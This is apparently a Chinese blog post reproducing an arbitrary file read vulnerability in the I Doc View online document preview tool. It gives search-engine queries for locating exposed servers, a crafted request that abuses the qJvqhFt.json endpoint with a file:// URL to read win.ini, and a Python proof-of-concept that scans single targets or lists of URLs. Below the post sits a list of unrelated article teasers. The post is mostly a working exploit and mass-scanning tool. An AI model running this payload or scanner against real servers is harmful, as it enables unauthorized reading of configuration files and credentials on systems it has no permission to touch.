【漏洞复现】I doc view——任意文件读取

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录

  • 漏洞描述
  • 漏洞复现
  • 测试工具


漏洞描述

I doc view 在线文档预览是一个用于查看、编辑、管理文档的工具。其qJvqhFt.json接口存在任意文件读取,未授权攻击者可以利用其读取网站配置文件等敏感信息。

漏洞复现

1)信息收集
fofa:title="在线文档预览 - I Doc View"
hunter:web.title="在线文档预览 - I Doc View"
在这里插入图片描述
世界如此美丽,值得去探索。
在这里插入图片描述
2)构造数据包

GET /view/qJvqhFt.json?start=1&size=5&url=file%3A%2F%2F%2FC%3A%2Fwindows%2Fwin.ini&idocv_auth=sapi HTTP/1.1
Host: ip

在这里插入图片描述
代码解释:

  • start=1:这通常表示请求的分页参数,start=1可能意味着请求从第一项数据开始。size=5:这同样是一个分页参数,表示请求返回的数据量限制为最多5项。
  • file%3A%2F%2F%2FC%3A%2Fwindows%2Fwin.ini:解码后为file://C:/windows/win.ini,这个参数包含了一个文件的URL,格式为file://,后面跟着的是Windows系统中的文件路径。这里,它指向了Windows操作系统的win.ini配置文件。
  • idocv_auth=sapi:这可能是一个认证参数,用于验证请求的合法性。sapi可能是某种认证令牌或密钥。

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# 导入requests库,用于发送HTTP请求
import requests
# 导入argparse库,用于解析命令行参数
import argparse
# 导入time库,虽然在这段代码中未使用,但可能用于其他目的,比如等待或延迟
import time
# 从urllib3库导入InsecureRequestWarning,用于忽略SSL警告
from urllib3.exceptions import InsecureRequestWarning

# 定义打印颜色常量
RED = '\033[91m'  # 红色
RESET = '\033[0m'  # 重置颜色

# 忽略不安全请求的警告,避免在请求HTTPS时提示不安全警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# 定义检查漏洞的函数
def check_vulnerability(url):
    try:
        # 去除URL末尾的斜杠,并构造完整的攻击URL
        attack_url = url.rstrip('/') + "/view/qJvqhFt.json?start=1&size=5&url=file%3A%2F%2F%2FC%3A%2Fwindows%2Fwin.ini&idocv_auth=sapi"
        
        # 发送GET请求到攻击URL,不验证SSL证书,超时时间设置为10秒
        response = requests.get(attack_url, verify=False, timeout=10)
        
        # 检查HTTP响应状态码和响应体中的关键字,判断是否存在漏洞
        if response.status_code == 200 and 'fonts' in response.text:
            print(f"{RED}URL [{url}] 可能存在I Doc View 在线文档预览 qJvqhFt.json 任意文件读取漏洞{RESET}")
        else:
            print(f"URL [{url}] 不存在漏洞")
    # 捕获请求超时异常,提示可能存在漏洞
    except requests.exceptions.Timeout:
        print(f"URL [{url}] 请求超时,可能存在漏洞")
    # 捕获其他请求异常,打印错误信息
    except requests.RequestException as e:
        print(f"URL [{url}] 请求失败: {e}")

# 定义主函数,用于解析命令行参数并调用检查函数
def main():
    # 创建ArgumentParser对象,用于解析命令行参数
    parser = argparse.ArgumentParser(description='检测目标地址是否存在I Doc View 在线文档预览 qJvqhFt.json 任意文件读取漏洞')
    # 添加命令行参数,用于指定目标URL
    parser.add_argument('-u', '--url', help='指定目标地址')
    # 添加命令行参数,用于指定包含目标地址的文本文件
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

    # 解析命令行参数
    args = parser.parse_args()

    # 如果指定了单个URL,则检查该URL是否存在漏洞
    if args.url:
        # 如果URL未以http://或https://开头,则添加http://前缀
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        check_vulnerability(args.url)
    # 如果指定了文件,则逐行读取文件中的URL并检查
    elif args.file:
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                # 如果URL未以http://或https://开头,则添加http://前缀
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url
                check_vulnerability(url)

# 程序入口点
if __name__ == '__main__':
    main()

运行截图
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/754868.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

LabVIEW材料样本结构缺陷检测

本文介绍了一种基于LabVIEW的实验室振动特性分析测试装置,通过分析振动特性来检测结构缺陷。文章详细描述了具体案例、硬件型号、工作原理、软件功能以及注意事项。 硬件型号 振动传感器:PCB Piezotronics 352C33加速度计 数据采集卡:NI PXI…

天气网站爬虫及可视化

摘要:随着互联网的快速发展,人们对天气信息的需求也越来越高。本论文基于Python语言,设计并实现了一个天气网站爬虫及可视化系统。该系统通过网络爬虫技术从多个天气网站上获取实时的天气数据,并将数据进行清洗和存储。同时&#…

Windows下activemq集群配置(broker-network)

1.activemq版本信息 activemq:apache-activemq-5.18.4 2.activemq架构 3.activemq集群配置 activemq集群配置基于Networks of Brokers 这种HA方案的优点:是占用的节点数更少(只需要2个节点),而且2个broker都可以响应消息的接收与发送。不足&#xff…

下载旧版本vscode及扩展,离线下载远程linux服务器插件

背景 工作的内网没有网络,无法使用网络来下载插件和vscode软件,且有远程linux服务器需求,linux服务器中lib相关库比较旧且无法更新,所以需要选择一个旧版本的vscode,相应插件也需要选择旧版本的 旧版本vscode下载 没…

JavaWeb——MySQL:事务的简单学习

前面学习完了数据库增删查改的SQL语言,约束,数据库设计,以及多表查询,再学完事务就达到初级工程师的水平了。 6. 事务 6.1 概念 事务类似于编程语言的方法,包含一组SQL指令。 事务是不可分割的; 该指令步…

高中数学:复数-三角表示式

一、定义 辐角主值 二、复数乘除运算的三角表示及其几何意义 乘法 复数乘法的几何意义 除法 练习 解

机器学习 笔记

什么是机器学习 Machine Learning 约等于 Look for a function. 学习路线 监督学习: 回归Regression:指模型预估的输出是数值Classification:指模型预估的输出是类别,二分类的输出是或否会告诉机器正确的答案是什么 半监督学习…

xlsx插件简介

1. xlsx插件 1.1. 常用属性和方法 1.1.1. 创建新的工作簿1.1.2. 从数组生成工作表1.1.3. 添加工作表到工作簿1.1.4. 从HTML表格创建工作表1.1.5. 读取Excel文件1.1.6. 导出Excel文件1.1.7. 设置单元格样式 2. vue中如何使用xlsx 2.1. vue-xlsx的特点2.2. 常用属性和方法 2.2.1…

【操作与配置】WSL配置LINUX

WSL2(Windows Subsystem for Linux 2)是Microsoft开发的一项技术,允许用户在Windows操作系统上运行Linux发行版。WSL2是WSL(Windows Subsystem for Linux)的第二版,带来了许多改进和新特性。 官网&#xff…

论文学习:基于知识图谱的RAG进行客服问答

1.简介 文章名称: Retrieval-Augmented Generation with Knowledge Graphs for Customer Service Question Answering(基于知识图谱的RAG进行客服问答) 2.摘要ABSTRACT 在客户服务技术支持中,迅速准确地检索相关的过往问题对于有…

新版周易测算系统源码 去授权完美运行

已经去掉授权可以完美运行 更新了三个模板市面上都是几千几千的卖 更新了三套首页新ui 自己后台切换就行 源码大小:338M 源码下载:https://download.csdn.net/download/m0_66047725/89447857 更多资源下载:关注我.

CSF视频文件格式转换WMV格式

如果大家看过一些高校教学讲解视频的话,很可能见过这样一个难得的格式,".csf ",非常漂亮 。 用暴风影音都可以打开观看,会自动下载解码。 但是一旦我们想要利用或者上传视频的时候就麻烦了,一般网站不认这…

检信智能推出我国首款Allemotion OS基于AI生理心理参数服务开发者平台

检信Allemotion OS生理心理开发者平台是根据世界人工智能高速发展的特点,为实现脑机交互的行业需求,由检信智能推出我国首款检信Allemotion OS生理心理开发者平台。检信Allemotion OS生理心理开发者平台集成了振动影像心理情绪20项情绪参数、11项生理相关参数&#…

springboot系列六: springboot底层机制实现 下

实现SpringBoot底层机制[Tomcat启动分析 Spring容器初始化 Tomcat如何关联Spring容器] 实现任务阶段1-创建Tomcat, 并启动🥦说明:创建Tomcat, 并启动🥦分析代码实现🥦完成测试 实现任务阶段2-创建Spring容器🥦说明&a…

JAVA期末速成库(10)第十一章

一、习题介绍 Check Point:P416 11.1,11.6,11.7,11.8,11.12,11.17,11.24 Programming Exercise:11.1 二、习题及答案 Check Point: 11.1 True or false? A subcl…

elementUI的搭建使用过程

Element - The worlds most popular Vue UI framework 上面是elementUI的网站,进入网站 点击右上角的组件按钮 复制这段代码到你的项目终端:npm i element-ui -S 加载完成后即可使用elementUI网站中的组件,使用它们只需要复制组件下面的代码即可

Qt自定义信号

1.Teacher类下定义信号signals: Student类下定义槽函数&#xff1a; Teacher.h #pragma once#include <QObject>class Teacher : public QObject {Q_OBJECTpublic:Teacher(QObject *parent);~Teacher(); signals:void Ask(); //老师向学生提问void Ask(QString str);…

第3章_UART 开发基础

文章目录 第3章 UART 开发基础3.1 同步传输与异步传输3.1.1 概念与示例3.1.2 差别 3.2 UART 协议与操作方法3.2.1 UART 协议3.2.2 STM32H5 UART 硬件结构3.2.3 RS485 协议 3.3 UART 编程3.3.1 硬件连接3.3.2 三种编程方式3.3.3 查询方式3.3.4 中断方式3.3.5 DMA 方式 3.4 效率最…

「C++系列」C++简介、应用领域

文章目录 一、C简介C 的主要特点&#xff1a;C 的学习建议&#xff1a; 二、C 应用领域三、C 有哪些优势四、C 初学案例1. Hello, World!2. 两数求和3. 判断奇偶4. 判断闰年5. 判断质数6. 求阶乘7. 斐波那契数列8. 延时程序&#xff08;简单示例&#xff09; 五、相关链接 一、…

vue组件全局注册

描述&#xff1a; vue组件的注册分为局部和全局注册两部分&#xff0c;局部注册相对容易&#xff0c;不做赘述&#xff1b;而不同框架的注册方法又有所不同&#xff0c;下面针对vite框架和vue-cli框架的注册分别进行说明 vue组件全局注册 一、vite框架中全局组件注册二、Vue-cl…